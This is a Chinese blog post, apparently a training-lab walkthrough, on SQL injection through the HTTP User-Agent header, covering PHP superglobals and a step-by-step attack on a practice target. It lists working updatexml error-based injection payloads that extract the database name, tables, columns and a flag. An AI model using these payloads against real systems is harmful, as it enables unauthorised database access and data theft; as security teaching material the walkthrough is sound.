SQL注入-Header注入-1

举报
xcc-2022 发表于 2023/02/24 21:49:21 2023/02/24
【摘要】 知识梳理什么是Header注入Header注入,该注入是指利用后端验证客户端口信息(比如常用的cookie验证)或者通过Header中获取客户端的一些信息(比如User-Agent用户代理等其他Header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有进过相对应的信息处理所以构成了sql注入。 超全局变量 PHP 中的许多...

知识梳理

什么是Header注入

  • Header注入,该注入是指利用后端验证客户端口信息(比如常用的cookie验证)或者通过Header中获取客户端的一些信息(比如User-Agent用户代理等其他Header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有进过相对应的信息处理所以构成了sql注入。
    超全局变量
    PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是
    $_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
    $_POST  (获取POST传参)
    $_GET  (获取GET的传参)
    $_COOKIE   (获取COOKIE的值)
    $_SERVER  (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
常用的:
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。

靶场演示一

url:http://inject2.lab.aqlab.cn:81/Pass-07/index.php
输入' or 1=1 --1 发现网页使用了正则过滤,不能通过闭合方式注入;


image

查看源码发现可以通过万能密码绕过,这样获得了用户密码;


image

通过刚刚查看源码不难发现网页会记录User-Agent的数据,通过insert语句插到数据库中


image
1. 判断闭合符

根据源码,不难发现记录User-Agent的内容是通过单引号闭合的

2. 判断注入点

注入点就是http请求头User-Agent

3. 猜测字段数

利用burpsuite抓包工具构建User-Agent1','2') -- q 页面没有报错,确认插入User-Agent值在表格第二字段

4. 查询库名
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
构建语句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

结合代码将语句修改为 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- q
得出库名为:head_error


image

image
5. 查询表名

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'2') -- q(使用and不行,这里用or,建议and和or都测试一下)
多次更改limit数值得到flag_head,ip,refer,uagent,user这五个表,选择flag_head表


image


image
6.查询字段名

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head' limit 0,1) ,0x7e),1),'2') -- q

多次更改limit数值得到该表字段有id,flag_h1两个


image


image
7.查询内容

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1),'2') -- q
得到flag为:zKaQ-YourHd


image

image





【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。